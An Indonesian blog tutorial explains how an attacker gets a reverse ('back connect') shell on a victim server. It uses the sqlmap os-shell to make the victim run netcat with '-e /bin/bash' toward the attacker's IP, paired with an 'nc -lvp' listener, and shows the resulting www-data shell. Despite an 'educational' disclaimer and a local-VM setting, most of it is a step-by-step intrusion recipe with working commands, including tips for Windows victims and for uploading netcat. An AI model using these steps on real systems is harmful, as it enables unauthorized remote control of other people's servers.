Back Connect
Victim -> Port Listener -> Attacker
Back Connect memungkinkan attacker untuk mendapatkan shell korban. Ini seperti kasus bertelefon.
A -> Nomer Telepon -> B
Jika B adalah attacker, maka A akan berusaha menghubungi B dengan nomer telepon milik B. Perbedaannya dengan Back Connect, adalah back connect membutuhkan port tertentu untuk melakukan listening terhadap koneksi yang masuk. Contoh. Dalam sebuah kasus, Attacker mengeksploitasi korban dan memerintahkan korbah:
"Kau harus menghubungiku di IP address xxx.xxx.xxx.xxx pada port xxx"
Perintah ini akan dilakukan oleh korban yang terkena eksploitasi. Dalam hal ini, attacker telah menyediakan port masuk kepada korban. Pengaturan port sendiri tidak bisa sembarangan. Port yang digunakan untuk listening, tidak boleh port yang telah digunakan oleh service lain, seperti port 445 milik samba, port 21 milik ftp, port 22 milik ssh, atau port 80 milik apache. Gunakanlah port yang belum terpakai. Maka listener akan berjalan. Ketika proses listening telah berjalan, maka korban akan datang pada IP address yang telah ditentukan attacker, dan masuk lewat port yang disediakan attacker. Apa tidak berbahaya jika ada yang masuk ke dalam port kita? Tidak. Attacker telah mengatur prosedur sedemikian rupa, sehingga ketika terjadi hubungan, maka akan ada yang diekseksi. Contoh:
Victim [cmd.exe or /bin/bash] -> Port Listener -> Attacker
Ketika korban berhasil masuk ke port listener milik attacker, maka cmd.exe atau /bin/bash akan dieksekusi oleh korban sehingga attacker dapat mengatur command prompt [Windows] milik korban, atau mengatur bash [UNIX] milik korban.
Pada tutorial kali ini, saya masih menggunakan Virtual OS pada localhost untuk menghindari dampak buruk dari tutorial ini.
EULA (End User License Agreement)
Penulis membuat tutorial ini dengan tujuan edukasi, penyalah gunaan skill yang didapatkan dari tutorial ini, diluar tanggung jawab penulis.
Preparation
1. Memerintahkan korban untuk melakukan back connect
Ketahuilah, korban setidaknya harus memiliki netcat. Jika tidak, maka anda harus mengupload netcat pada korban. Anda bisa menggunakan netcat yang sudah dicompile, dan siap pakai, jadi anda tidak perlu melakukan installasi netcat yang membutuhkan privilege root. Netcat bisa anda download di sini.
Setidaknya anda harus dapat mengeksekusi sebuah perintah ke dalam mesin korban. Pada tutorial kali ini, saya akan menggunakan shell yang tercipta dari SQLmap. "Anda sudah mendapatkan shell, mengapa harus melakukan back connect?". Pertanyaan bagus, shell milik sqlmap tidaklah interactive, sehingga memiliki sejumlah keterbatasan dalam perintah-perintah yang interactive, seperti mengubah password, dan lain sebagainya.
Untuk mengeksekusi perintah netcat, anda hanya perlu memasukan perintah berikut.
Command :
os-shell> whereis nc
do you want to retrieve the command standard output? [Y/n/a] Y
command standard output: 'nc: /bin/nc.traditional /usr/share/man/man1/nc.1.gz'
Command :
os-shell> /bin/nc.traditional 10.10.1.1 22 -e /bin/bash
Kebetulan virtual OS yang saya gunakan kali ini, sudah terpasang netcat, sehingga saya tidak perlu lagi mengupload netcat ke server.
Keterangan :
- 10.10.1.1 adalah IP address saya (attacker), sesuaikan dengan IP address anda, dan pastikan anda memiliki IP public, sehingga dapat dihubungi oleh korban.
- 22 adalah port listener yang saya gunakan, kebetulan saya tidak menjalankan service ssh. Jika service ssh berjalan, maka saya tidak dapat melakukan listening pada port ini.
- -e /bin/bash adalah perintah yang tereksekusi ketika koneksi terjadi. Anda harus mengubah -e /bin/bash menjadi -e cmd.exe jika korban anda menggunakan operasi system windows.
2. Lakukan listening pada port yang anda tentukan
Sebelum perintah di atas dieksekusi, anda harus melakukan listening pada port yang telah anda tentukan sebelumnya. Hal ini bertujuan agar korban dapat menghubungi attacker dengan baik (berhasil). Jika port listening belum terbuka, dan perintah telah tereksekusi, maka akan terjadi kegagalan koneksi. Ini seperti melakukan sesi ftp pada server yang tidak menjalankan service ftp.
Untuk melakukan listening, anda hanya perlu memasukan perintah:
Command :
<< back|track 5 R2 [~] nc -lvp 22
Kemudian tekan enter, sehingga anda mendapatkan output seperti di bawah ini.
Command :
<< back|track 5 R2 [~] nc -lvp 22
listening on [any] 22 ...
Keterangan :
- -l adalah opsi listening, attacker akan melakukan listening pada setiap koneksi yang masuk. Hal ini seperti stand by untuk dihubungi oleh korban.
- -v adalah opsi verbose, opsi ini tidaklah begitu penting. Anda bisa meniadakan opsi ini ketika mengeksekusi perintah netcat.
- -p adalah opsi port. Anda diharuskan menetapkan port listening. Anda tidak bisa membiarkan nilai -p kosong. Port bisa diatur pada rentang 1-65535, dengan syarat port tersebut tidak digunakan oleh service lain.
3. Game Over.
Ekseksusi kedua perintah pada tahap satu dan dua.
Kemudian
Command :
<< back|track 5 R2 [~] nc -lvp 22
listening on [any] 22 ...
10.10.1.128: inverse host lookup failed: Unknown host
connect to [10.10.1.1] from (UNKNOWN) [10.10.1.128] 47195
id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
It's easy, isn't it?
created by : red-dragon
gan apakah harus port fowarding dulu agar bisa terExploit?
ReplyDelete